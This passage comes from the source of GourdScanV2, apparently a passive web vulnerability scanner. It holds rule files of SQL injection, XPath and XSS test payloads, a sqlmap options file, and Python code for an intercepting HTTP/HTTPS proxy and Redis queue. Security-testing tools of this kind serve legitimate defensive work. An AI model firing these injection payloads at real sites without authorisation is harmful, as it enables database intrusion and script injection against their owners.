.*? FROM .*? 83 | UPDATE .*? SET .*? 84 | INSERT INTO .*? 85 | 86 | 87 | 88 | 89 | %20and 1=@@version -- t 90 | ' and 1=@@version -- t 91 | " and 1=@@version -- t 92 | ') and 1=@@version -- t 93 | ") and 1=@@version -- t 94 | ) and 1=@@version -- t 95 | %20and 1=convert(int,(select host_name())) -- t 96 | ' and 1=convert(int,(select host_name())) -- t 97 | " and 1=convert(int,(select host_name())) -- t 98 | ") and 1=convert(int,(select host_name())) -- t 99 | ') and 1=convert(int,(select host_name())) -- t 100 | ) and 1=convert(int,(select host_name())) -- t 101 | %20and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t 102 | ' and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t 103 | ') and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t 104 | " and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t 105 | ") and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t 106 | ) and updatexml(1,concat(0x7e,(SELECT md5(123)),0x7e),1)-- t 107 | %20and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t 108 | ' and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t 109 | " and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t 110 | ") and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t 111 | ') and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t 112 | ) and extractvalue(1, concat(0x7e, (select md5(123)),0x7e))-- t 113 | %20AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x)) 114 | ' AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x)) 115 | " AND EXP(~(SELECT * FROM (SELECT CONCAT((0x71,(SELECT md5(123)),0x71,0x78))x)) 116 | ") AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x)) 117 | ') AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x)) 118 | ) AND EXP(~(SELECT * FROM (SELECT CONCAT(0x71,(SELECT md5(123)),0x71,0x78))x)) 119 | %20and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t 120 | ' and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t 121 | ') and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t 122 | " and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t 123 | ") and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t 124 | ) and(select 1 from(select count(*),concat((select (select (select md5(123))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- t 125 | 126 | 127 | Microsoft SQL Server 128 | System.Data.SqlClient.SqlConnection.OnError 129 | 202cb962 130 | mysql_fetch_array\(\) 131 | You have an error in your SQL syntax 132 | 133 | 134 | -------------------------------------------------------------------------------- /conf/rules/sqlitime.rule: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 1+or+sleep(TIME_VAR)%23 6 | '+and+sleep(TIME_VAR)%23 7 | "+and+sleep(TIME_VAR)%23 8 | +and+sleep(TIME_VAR)%23 9 | )+and+sleep(TIME_VAR)%23 10 | ')+and+sleep(TIME_VAR)%23 11 | '))+and+sleep(TIME_VAR)%23 12 | ")+and+sleep(TIME_VAR)%23 13 | "))+and+sleep(TIME_VAR)%23 14 | ;WAITFOR DELAY '00:00:TIME_VAR';-- 15 | ';WAITFOR DELAY '00:00:TIME_VAR';-- 16 | ');WAITFOR DELAY '00:00:TIME_VAR';-- 17 | );WAITFOR DELAY '00:00:TIME_VAR';-- 18 | ";WAITFOR DELAY '00:00:TIME_VAR';-- 19 | 20 | 21 | 22 | 23 | +and+sleep(TIME_VAR)-- t 24 | )+and+sleep(TIME_VAR)-- t 25 | "+and+sleep(TIME_VAR)-- t 26 | ')+and+sleep(TIME_VAR)-- t 27 | '))+and+sleep(TIME_VAR)-- t 28 | '+and+sleep(TIME_VAR)-- t 29 | 1+or+sleep(TIME_VAR)-- t 30 | ")+and+sleep(TIME_VAR)-- t 31 | "))+and+sleep(TIME_VAR)-- t 32 | 33 | 34 | 35 | 36 | %20AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t 37 | %20OR SLEEP(TIME_VAR)-- t 38 | ' AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t 39 | ' OR SLEEP(TIME_VAR)-- t 40 | ') AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t 41 | ') OR SLEEP(TIME_VAR)-- t 42 | ") AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))-- t 43 | ") OR SLEEP(TIME_VAR)-- t 44 | " AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23 45 | " OR SLEEP(TIME_VAR)%23 46 | %20AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23 47 | %20OR SLEEP(TIME_VAR)%23 48 | ' AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23 49 | ' OR SLEEP(TIME_VAR)%23 50 | ') AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23 51 | ') OR SLEEP(TIME_VAR)%23 52 | ") AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23 53 | ") OR SLEEP(TIME_VAR)%23 54 | " AND 9436=BENCHMARK(NUM_VAR,MD5(0x7852554f))%23 55 | " OR SLEEP(TIME_VAR)%23 56 | 57 | 58 | -------------------------------------------------------------------------------- /conf/rules/sqlmap.rule: -------------------------------------------------------------------------------- 1 | { 2 | "crawlDepth": null, 3 | "osShell": false, 4 | "getUsers": false, 5 | "getPasswordHashes": false, 6 | "excludeSysDbs": false, 7 | "uChar": null, 8 | "regData": null, 9 | "prefix": null, 10 | "code": null, 11 | "googlePage": 1, 12 | "skip": null, 13 | "query": null, 14 | "randomAgent": false, 15 | "osPwn": false, 16 | "authType": null, 17 | "safeUrl": null, 18 | "requestFile": null, 19 | "predictOutput": false, 20 | "wizard": false, 21 | "stopFail": false, 22 | "forms": false, 23 | "pivotColumn": null, 24 | "dropSetCookie": false, 25 | "smart": false, 26 | "risk": 1, 27 | "sqlFile": null, 28 | "rParam": null, 29 | "getCurrentUser": false, 30 | "notString": null, 31 | "getRoles": false, 32 | "getPrivileges": false, 33 | "testParameter": null, 34 | "tbl": null, 35 | "charset": null, 36 | "trafficFile": null, 37 | "osSmb": false, 38 | "level": 1, 39 | "skipStatic": false, 40 | "secondOrder": null, 41 | "outputDir": null, 42 | "skipWaf": false, 43 | "timeout": 30, 44 | "firstChar": null, 45 | "torPort": null, 46 | "regRead": false, 47 | "binaryFields": null, 48 | "checkTor": false, 49 | "commonTables": false, 50 | "direct": null, 51 | "tmpPath": null, 52 | "titles": false, 53 | "getSchema": false, 54 | "identifyWaf": false, 55 | "paramDel": null, 56 | "safeReqFile": null, 57 | "regKey": null, 58 | "limitStart": null, 59 | "crawlExclude": null, 60 | "flushSession": false, 61 | "loadCookies": null, 62 | "dnsName": null, 63 | "csvDel": ",", 64 | "offline": false, 65 | "method": null, 66 | "disablePrecon": false, 67 | "osBof": false, 68 | "testSkip": null, 69 | "invalidLogical": false, 70 | "getCurrentDb": false, 71 | "hexConvert": false, 72 | "proxyFile": null, 73 | "answers": null, 74 | "host": null, 75 | "dependencies": false, 76 | "proxy": null, 77 | "regType": null, 78 | "optimize": false, 79 | "limitStop": null, 80 | "search": false, 81 | "uFrom": null, 82 | "noCast": false, 83 | "testFilter": null, 84 | "eta": false, 85 | "csrfToken": null, 86 | "threads": 1, 87 | "logFile": null, 88 | "os": null, 89 | "col": null, 90 | "rFile": null, 91 | "proxyCred": null, 92 | "verbose": 1, 93 | "isDba": false, 94 | "updateAll": false, 95 | "privEsc": false, 96 | "forceDns": false, 97 | "getAll": false, 98 | "api": true, 99 | "invalidBignum": false, 100 | "regexp": null, 101 | "getDbs": false, 102 | "freshQueries": false, 103 | "uCols": null, 104 | "smokeTest": false, 105 | "wFile": null, 106 | "udfInject": false, 107 | "invalidString": false, 108 | "tor": false, 109 | "forceSSL": false, 110 | "ignore401": false, 111 | "beep": false, 112 | "noEscape": false, 113 | "configFile": null, 114 | "scope": null, 115 | "authFile": null, 116 | "torType": "HTTP", 117 | "regVal": null, 118 | "dummy": false, 119 | "safePost": null, 120 | "skipUrlEncode": false, 121 | "referer": null, 122 | "liveTest": false, 123 | "purgeOutput": false, 124 | "retries": 3, 125 | "extensiveFp": false, 126 | "dumpTable": false, 127 | "batch": true, 128 | "authCred": null, 129 | "osCmd": null, 130 | "suffix": null, 131 | "dbmsCred": null, 132 | "regDel": false, 133 | "shLib": null, 134 | "sitemapUrl": null, 135 | "timeSec": 5, 136 | "msfPath": null, 137 | "dumpAll": false, 138 | "getHostname": false, 139 | "sessionFile": null, 140 | "disableColoring": true, 141 | "getTables": false, 142 | "safeFreq": null, 143 | "agent": null, 144 | "lastChar": null, 145 | "string": null, 146 | "dbms": null, 147 | "dumpWhere": null, 148 | "tamper": null, 149 | "hpp": false, 150 | "runCase": null, 151 | "delay": 0, 152 | "evalCode": null, 153 | "cleanup": false, 154 | "csrfUrl": null, 155 | "getBanner": false, 156 | "profile": false, 157 | "getComments": false, 158 | "bulkFile": null, 159 | "db": null, 160 | "excludeCol": null, 161 | "dumpFormat": "CSV", 162 | "alert": null, 163 | "nullConnection": false, 164 | "user": null, 165 | "parseErrors": false, 166 | "getCount": false, 167 | "dFile": null, 168 | "regAdd": false, 169 | "ignoreProxy": false, 170 | "getColumns": false, 171 | "mobile": false, 172 | "googleDork": null, 173 | "crawDepth": "true", 174 | "saveConfig": null, 175 | "sqlShell": false, 176 | "pageRank": false, 177 | "tech": "BEUSTQ", 178 | "textOnly": false, 179 | "cookieDel": null, 180 | "commonColumns": false, 181 | "keepAlive": false 182 | } -------------------------------------------------------------------------------- /conf/rules/xpath.rule: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | d'z\"0 6 | <!-- 7 | 8 | 9 | System.Xml.XPath.XPathException: 10 | MS.Internal.Xml. 11 | Unknown error in XPath 12 | org.apache.xpath.XPath 13 | A closing bracket expected in 14 | An operand in Union Expression does not produce a node-set 15 | Cannot convert expression to a number 16 | Document Axis does not allow any context Location Steps 17 | Empty Path Expression 18 | DOMXPath::Empty Relative Location Path 19 | Empty Union Expression 20 | Expected ')' in 21 | Expected node test or name specification after axis operator 22 | Incompatible XPath key 23 | Incorrect Variable Binding 24 | libxml2 library function failed 25 | libxml2 26 | Invalid predicate 27 | Invalid expression 28 | xmlsec library function 29 | xmlsec 30 | error '80004005' 31 | A document must contain exactly one root element. 32 | <font face="Arial" size=2>Expression must evaluate to a node-set. 33 | Expected token ']' 34 | <p>msxml4.dll</font> 35 | <p>msxml3.dll</font> 36 | 4005 Notes error: Query is not understandabl 37 | 38 | 39 | -------------------------------------------------------------------------------- /conf/rules/xss.rule: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | '"/><script>alert(/RANDOMIZE/)</script> 6 | '"/><img src=x onerror=alert(/RANDOMIZE/)> 7 | '"/><img src=x onerror=console.log(/RANDOMIZE/)> 8 | '"/><img src="x" onerror="alert(/HIHIHI/)"> 9 | '"/><SCRIPT/SRC=HTTP://R.W/></SCRIPT> 10 | '"/><SCRIPT>alert(/RANDOMIZE/);//<</SCRIPT> 11 | '"/><meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 12 | 13 | 14 | 15 | 16 | <script>alert(/RANDOMIZE/)</script> 17 | <img src=x onerror=alert(/RANDOMIZE/)> 18 | <img src=x onerror=console.log(/RANDOMIZE/)> 19 | <img src="x" onerror="alert(/HIHIHI/)"> 20 | <script></script> 21 | <SCRIPT/SRC=HTTP://R.W/></SCRIPT> 22 | <SCRIPT>alert(/RANDOMIZE/);//<</SCRIPT> 23 | <meta http-equiv="refresh" content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> 24 | 25 | 26 | 27 | 28 | 'RANDOMIZE</-> 29 | RANDOMIZE/* 30 | RANDOMIZE"RANDOMIZE 31 | RANDOMIZE'RANDOMIZE 32 | RANDOMIZE`RANDOMIZE 33 | RANDOMIZE = 34 | 35 | 36 | -------------------------------------------------------------------------------- /conf/session: -------------------------------------------------------------------------------- 1 | 78663336c8fee940200fd61b5c64236e 2 | 9ee802f251ba1e8b6ac22047fa98d38a 3 | bba1cdbd1e6b18fefc73e41012b1ecf1 4 | -------------------------------------------------------------------------------- /gourdscan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | VERSION = "2.1" 5 | 6 | logo = """ 7 | _____ _ 8 | / ____| | | 9 | | | __ ___ _ _ _ __ __| | 10 | | | |_ | / _ \ | | | | | '__| / _` | 11 | | |__| | | (_) | | |_| | | | | (_| | 12 | \_____| \___/ \__,_| |_| \__,_| Ver %s 13 | 14 | By YSRC Team 15 | """ % VERSION 16 | 17 | import os 18 | import site # Add the boilerplate's directories to Python's site-packages path. 19 | import tornado.web 20 | import tornado.ioloop 21 | from tornado.options import define, options 22 | from lib import out 23 | from lib import config 24 | from lib.update import check_update 25 | from web.urls import url_patterns 26 | 27 | 28 | def make_app(settings): 29 | return tornado.web.Application(url_patterns, **settings) 30 | 31 | 32 | def main(): 33 | define("port", default=int(config.load()["port"]), type=int) 34 | define("address", default=config.load()["ip"]) 35 | tornado.options.parse_command_line() 36 | path = lambda root, *a: os.path.join(root, *a) 37 | ROOT = os.path.dirname(os.path.abspath(__file__)) 38 | settings = {} 39 | settings['static_path'] = path(ROOT, "web", "static") 40 | settings['template_loader'] = tornado.template.Loader(path(ROOT, "web", "templates")) 41 | settings['login_url'] = "/login" 42 | settings['debug'] = False 43 | site.addsitedir(path(ROOT, 'handlers')) 44 | conf = config.load() 45 | conf['scapy_stat'] = 'false' 46 | conf['tornado_stat'] = 'false' 47 | conf['scan_stat'] = 'false' 48 | conf['mix_stat'] = 'false' 49 | conf['tornado_run_stat'] = 'false' 50 | config.update(conf) 51 | app = make_app(settings) 52 | app.listen(port=options.port, address=options.address) 53 | out.good("Web app start at: http://%s:%s" % (options.address, options.port)) 54 | tornado.ioloop.IOLoop.current().start() 55 | 56 | if __name__ == '__main__': 57 | # check update 58 | check_update() 59 | 60 | print logo 61 | main() 62 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/lib/__init__.py -------------------------------------------------------------------------------- /lib/config.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | """ 4 | Config and update/reload file 5 | get test param: 6 | config.load()["test"] 7 | """ 8 | 9 | import warnings 10 | import json 11 | import os 12 | import out 13 | 14 | from lib.settings import CHECK_CONF_FILE 15 | from lib.settings import RULES_CONF_FILE 16 | from lib.settings import RULES_PATH 17 | 18 | 19 | warnings.filterwarnings("ignore") 20 | 21 | 22 | def load(): 23 | with open(CHECK_CONF_FILE) as con: 24 | try: 25 | conf = json.load(con) 26 | return conf 27 | except: 28 | out.error("conf.json error, please download another one and replace it.") 29 | exit() 30 | 31 | def update(conf): 32 | with open(CHECK_CONF_FILE, 'w') as con: 33 | content = json.dumps(conf).replace("{", "{\n").replace("}", "\n}").replace(", ", ",\n").replace("'", '"') 34 | con.write(content) 35 | return 36 | 37 | 38 | def load_rule(): 39 | with open(RULES_CONF_FILE) as con: 40 | conf = json.load(con) 41 | return conf 42 | 43 | 44 | def update_rule(rule): 45 | with open(RULES_CONF_FILE, 'w') as con: 46 | content = json.dumps(rule) 47 | con.write(content) 48 | 49 | 50 | def rule_read(name, get_file_handle=None): 51 | if get_file_handle: 52 | return os.path.join(RULES_PATH, name + '.rule') 53 | with open(os.path.join(RULES_PATH, name + '.rule')) as con: 54 | content = con.read() 55 | return content 56 | 57 | 58 | def rule_write(name, rule): 59 | with open(os.path.join(RULES_PATH, name + '.rule'), "w") as con: 60 | con.write(rule) 61 | -------------------------------------------------------------------------------- /lib/out.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | import ctypes 5 | import platform 6 | 7 | ''' 8 | print good or error message 9 | ''' 10 | 11 | def windows_out(color, msg): 12 | STD_OUTPUT_HANDLE = -11 13 | std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) 14 | ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, color) 15 | print msg 16 | ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, 0x0c|0x0a|0x09) 17 | 18 | def good(msg): 19 | if "Windows" not in platform.platform(): 20 | color = '\033[01;32m' 21 | endc = '\033[0m' 22 | print "[+] " + color + msg + endc 23 | else: 24 | windows_out(0x0a, "[+] %s" % msg) 25 | 26 | 27 | def warning(msg): 28 | if "Windows" not in platform.platform(): 29 | color = '\033[01;37m' 30 | endc = '\033[0m' 31 | print "[*] " + color + msg + endc 32 | else: 33 | windows_out(0x06, "[*] %s" % msg) 34 | 35 | def error(msg): 36 | if "Windows" not in platform.platform(): 37 | color = '\033[01;31m' 38 | endc = '\033[0m' 39 | print "[*] " + color + msg + endc 40 | else: 41 | windows_out(0x0c, "[+] %s" % msg) 42 | 43 | def jump(url): 44 | return "" % url 45 | 46 | def alert(content, url): 47 | return "" % (content, url) 48 | -------------------------------------------------------------------------------- /lib/redisopt.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | import json 4 | import redis 5 | import base64 6 | import urlparse 7 | 8 | from hashlib import md5 9 | 10 | from lib.settings import CHECK_CONF_FILE 11 | from lib import config 12 | 13 | 14 | ''' 15 | Connect redis and excute the command of redis from other class 16 | Deal with packet insert things 17 | ''' 18 | 19 | with open(CHECK_CONF_FILE) as conf: 20 | workerconf = json.load(conf) 21 | redisconf = {} 22 | redisconf['host'] = workerconf["redis_host"] 23 | redisconf['password'] = workerconf['redis_pass'] 24 | redisconf['port'] = workerconf['redis_port'] 25 | 26 | conn = redis.StrictRedis(**redisconf) 27 | 28 | 29 | def get_hash(host, uri, postdata): 30 | request = 'http://%s%s?' % (host, urlparse.urlparse(uri).path) 31 | dic = urlparse.urlparse(uri).query.split('&') 32 | for param in dic: 33 | if param != "" and "=" in param: 34 | request += param.split('=')[0]+'=&' 35 | request += "|" 36 | for param in postdata.split('&'): 37 | if param != "" and "=" in param: 38 | request += param.split('=')[0]+'=&' 39 | url_hash = md5(request).hexdigest() 40 | return url_hash 41 | 42 | 43 | def content_deal(headers, host, method, postdata, uri, packet): 44 | u = urlparse.urlparse(uri) 45 | url = uri.split(u.netloc)[-1] 46 | white_domain = config.load()['white_domain'] 47 | black_domain = config.load()['black_domain'] 48 | black_ext = config.load()['black_ext'] 49 | for ext in black_ext.split(','): 50 | if u.path.lower().endswith("."+ext): 51 | return 52 | for domain in black_domain.split(','): 53 | if u.netloc.lower().split(':')[0].endswith(domain): 54 | return 55 | if white_domain != "": 56 | for domain in white_domain.split(','): 57 | if not u.netloc.lower().split(':')[0].endswith(domain): 58 | return 59 | reqhash = get_hash(host, uri, postdata) 60 | if 'Gdscan' not in headers.keys(): 61 | request = { 62 | 'headers': headers, 63 | 'host': host, 64 | 'method': method, 65 | 'postdata': postdata, 66 | 'url': uri, 67 | 'packet': packet 68 | } 69 | b64req = base64.encodestring(json.dumps(request)) 70 | if conn.hsetnx("request", reqhash, b64req): 71 | conn.lpush("waiting", reqhash) 72 | -------------------------------------------------------------------------------- /lib/secure.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | import os 5 | import cgi 6 | import socket 7 | 8 | ''' 9 | Some func to make the system stable 10 | ''' 11 | 12 | 13 | def clear(s): 14 | return cgi.escape(s).replace("'", """).replace('"', "\"") 15 | 16 | 17 | def kill(addr, port, data): 18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 19 | sock.connect((addr, port)) 20 | sock.send(data) 21 | sock.recv(102400) 22 | 23 | def check_requirements(): 24 | try: 25 | import requests 26 | import tornado 27 | import redis 28 | import scapy 29 | except: 30 | yes = raw_input('Do you want to install those module with the command "pip install"? (Y/n)') 31 | if yes == '' or yes.lower() == 'y' or yes.lower() == 'yes': 32 | os.system("pip install requests tornado redis scapy") 33 | try: 34 | import requests 35 | import tornado 36 | import redis 37 | import scapy 38 | print "Requirements is OK!" 39 | return 40 | except Exception, e: 41 | exit('Something going wrong with pip: %s, please run "pip install requests tornado redis scapy" manualy!' % e) 42 | 43 | def check_redis(): 44 | try: 45 | from lib.redisopt import conn 46 | except: 47 | yes = raw_input('Something wrong with the redis, Do you want to run the command "redis-server ./conf/redis.conf"? (Y/n)') 48 | if yes == '' or yes.lower() == 'y' or yes.lower() == 'yes': 49 | os.system("redis-server ./conf/redis.conf") 50 | try: 51 | from lib.redisopt import conn 52 | except Exception, e: 53 | exit("Something wrong with the redis: %s, please check it manualy!" % e) -------------------------------------------------------------------------------- /lib/session.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | import os 5 | import time 6 | 7 | import md5 8 | 9 | from lib import config 10 | from lib.settings import SESSION_CONF_FILE 11 | 12 | ''' 13 | Create session string or update a session into session file. 14 | Control the length of session file to make sure it will not be too big. 15 | Destroy a session string to make it logout. 16 | ''' 17 | 18 | 19 | def new(ip): 20 | return md5.new(config.load()["cookie_secret"] + str(time.time()) + ip).hexdigest() 21 | 22 | 23 | def check(session): 24 | with open(SESSION_CONF_FILE, 'r+') as f: 25 | lines = f.readlines() 26 | f.close() 27 | for line in lines: 28 | if session == line.strip(): 29 | return True 30 | return False 31 | 32 | 33 | def update(session): 34 | size_control() 35 | with open(SESSION_CONF_FILE, 'a') as f: 36 | f.write(session + '\n') 37 | f.close() 38 | return True 39 | 40 | 41 | def destroy(session): 42 | with open(SESSION_CONF_FILE, 'r') as f: 43 | lines = f.readlines() 44 | f.close() 45 | ff = open(SESSION_CONF_FILE, 'w') 46 | for line in lines: 47 | if session != line.strip(): 48 | ff.write(line) 49 | ff.close() 50 | return True 51 | 52 | 53 | def size_control(): 54 | if os.path.getsize(SESSION_CONF_FILE) > config.load()["session_size"]: 55 | with open(SESSION_CONF_FILE, 'r') as f: 56 | lines = f.readlines() 57 | f.close() 58 | ff = open(SESSION_CONF_FILE, 'w') 59 | size = 0 60 | for line in lines: 61 | size += len(line) 62 | if size < config.load()["session_size"]: 63 | ff.write(line) 64 | else: 65 | ff.close() 66 | return 67 | print size 68 | ff.close() 69 | -------------------------------------------------------------------------------- /lib/settings.py: -------------------------------------------------------------------------------- 1 | # coding: utf-8 2 | 3 | import os 4 | 5 | ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) 6 | 7 | CHECK_CONF_FILE = os.path.join(ROOT, 'conf/', 'conf.json') 8 | 9 | RULES_PATH = os.path.join(ROOT, 'conf/', 'rules/') 10 | 11 | RULES_CONF_FILE = os.path.join(RULES_PATH, 'rule.conf') 12 | 13 | SESSION_CONF_FILE = os.path.join(ROOT, 'conf/', 'session') 14 | 15 | CONF_PATH = os.path.join(ROOT, 'conf/') -------------------------------------------------------------------------------- /lib/update.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | import requests 5 | 6 | from lib import config 7 | from lib import out 8 | 9 | ''' 10 | Checking update when it start 11 | ''' 12 | 13 | 14 | def check_update(): 15 | out.good("Checking update...") 16 | try: 17 | res = requests.get(config.load()['check_url'], timeout=10) 18 | version = res.content 19 | if version != config.load()['version']: 20 | update() 21 | return True 22 | else: 23 | return False 24 | except: 25 | out.error("Can not connect to update server!") 26 | return False 27 | 28 | 29 | def update(): 30 | out.warning("New version is ok!") 31 | out.warning("Please update Gourdscan with git(git pull https://github.com/ysrc/GourdScanV2.git)") 32 | -------------------------------------------------------------------------------- /proxy/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ysrc/GourdScanV2/79bf4cb59a5b3594b51a47a6660b79476ffbcbc4/proxy/__init__.py -------------------------------------------------------------------------------- /proxy/mix_proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #coding: utf-8 3 | 4 | import re 5 | import ssl 6 | import socket 7 | import warnings 8 | import requests 9 | import threading 10 | 11 | from lib.settings import CONF_PATH 12 | from lib.redisopt import conn, content_deal 13 | from lib import config 14 | 15 | warnings.filterwarnings("ignore") 16 | 17 | """ 18 | Mix proxy with HTTP and HTTPS. 19 | Use local key file and cert file to get https flow. 20 | If there is a "connect" method first, then https it is. 21 | Else it's a http packet. 22 | Request to remote server with python requests lib. 23 | Put requests into redis server to scan. 24 | Black_domain and black_ext had wroten into this script. 25 | White_domain are loaded from white_domain.conf split by "," in one line! 26 | """ 27 | 28 | 29 | def https_things(sock): 30 | context = ssl.SSLContext(ssl.PROTOCOL_TLSv1) 31 | context.load_cert_chain(certfile=CONF_PATH + "key.crt", keyfile=CONF_PATH + "key.pem") 32 | connstream = context.wrap_socket(sock, server_side=True) 33 | client_conn(connstream, True) 34 | 35 | 36 | def get_str(res): 37 | code = str(res.status_code) 38 | reason = res.reason 39 | data = '' 40 | headers = res.headers 41 | wrong_head = ['Content-Encoding', 'Transfer-Encoding', 'content-encoding', 'transfer-encoding'] 42 | for i in wrong_head: 43 | if i in headers.keys(): 44 | del headers[i] 45 | headers['Content-Length'] = len(res.content) 46 | data += 'HTTP/1.1 %s %s\r\n' % (code, reason) 47 | for key in res.headers.keys(): 48 | data += '%s: %s\r\n' % (key, headers[key]) 49 | data += '\r\n' + res.content 50 | return data 51 | 52 | 53 | def get_res(data, connstream, https): 54 | try: 55 | headers = {} 56 | post = '' 57 | if data[0:7] == 'CONNECT': 58 | connstream.sendall("HTTP/1.1 200 Connection established\r\n\r\n") 59 | https_things(connstream) 60 | return 61 | if not re.search('(GET|POST) (.*) HTTP', data): 62 | return 63 | 64 | methods = re.findall('(GET|POST) (.*) HTTP', data)[0] 65 | url = methods[1] 66 | method = methods[0] 67 | 68 | if method == 'GET': 69 | head = data.split('\r\n')[1:] 70 | for h in head: 71 | if ': ' in h[2:]: 72 | headers[h.split(': ')[0]] = h.split(': ')[1] 73 | host = headers['Host'].replace(' ', '') 74 | 75 | if not https: 76 | uri = url 77 | else: 78 | uri = "https://%s%s" % (host, url) 79 | print uri 80 | content_deal(headers, host, method, postdata='', uri=uri, packet=data) 81 | 82 | if 'Host' in headers.keys(): 83 | del headers['Host'] 84 | 85 | res = requests.get(uri, headers=headers, verify=False) 86 | response = get_str(res) 87 | connstream.sendall(response) 88 | connstream.close() 89 | return 90 | 91 | elif method == 'POST': 92 | body = data.split('\r\n\r\n')[1] 93 | head = data.split('\r\n\r\n')[0].split('\r\n')[1:] 94 | for h in head: 95 | if ': ' in h[2:]: 96 | headers[h.split(': ')[0]] = h.split(': ')[1] 97 | host = headers['Host'].replace(' ', '') 98 | 99 | if not https: 100 | uri = url 101 | else: 102 | uri = "https://%s%s" % (host, url) 103 | print uri 104 | content_deal(headers, host, method, postdata=body, uri=uri, packet=data) 105 | 106 | if 'Host' in headers.keys(): 107 | del headers['Host'] 108 | 109 | res = requests.post(uri, headers=headers, data=body, verify=False) 110 | response = get_str(res) 111 | connstream.sendall(response) 112 | connstream.close() 113 | return 114 | 115 | except Exception, e: 116 | if 'url' in dir(): 117 | print url 118 | print "Http Error: " + str(e) 119 | try: 120 | err = "HTTP/1.1 500 Internal Server Error\r\n" 121 | err += "Content-Length-Type: text/html;\r\n" 122 | err += "Content-Length: 17\r\n\r\n" 123 | err += "HTTP Error" 124 | connstream.sendall() 125 | connstream.close() 126 | except Exception as e: 127 | pass 128 | 129 | 130 | def client_conn(connstream, https=False): 131 | try: 132 | connstream.settimeout(2) 133 | data = "" 134 | while True: 135 | tmp = connstream.recv(10240) 136 | data += tmp 137 | if tmp == '': 138 | break 139 | except Exception as e: 140 | pass 141 | connstream.settimeout(10) 142 | get_res(data, connstream, https) 143 | 144 | 145 | def main(): 146 | try: 147 | addr = config.load()['mix_addr'] 148 | port = int(config.load()['mix_port']) 149 | bindsocket = socket.socket() 150 | bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 151 | bindsocket.bind((addr, port)) 152 | bindsocket.listen(300) 153 | except Exception as e: 154 | conf = config.load() 155 | conf['mix_stat'] = "false" 156 | config.update(conf) 157 | print e 158 | exit() 159 | while config.load()['mix_stat'].lower() == "true": 160 | try: 161 | connstream, fromaddr = bindsocket.accept() 162 | t = threading.Thread(target=client_conn, args=(connstream,)) 163 | t.start() 164 | except Exception as e: 165 | print e 166 | if 'connstream' in dir(): 167 | connstream.close() 168 | bindsocket.close() 169 | -------------------------------------------------------------------------------- /proxy/pyscapy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | 4 | """ 5 | capture: capture packets on the adapter given, and put those into redis. 6 | """ 7 | 8 | import re 9 | import logging 10 | 11 | from scapy.all import * 12 | 13 | from lib.redisopt import conn, content_deal 14 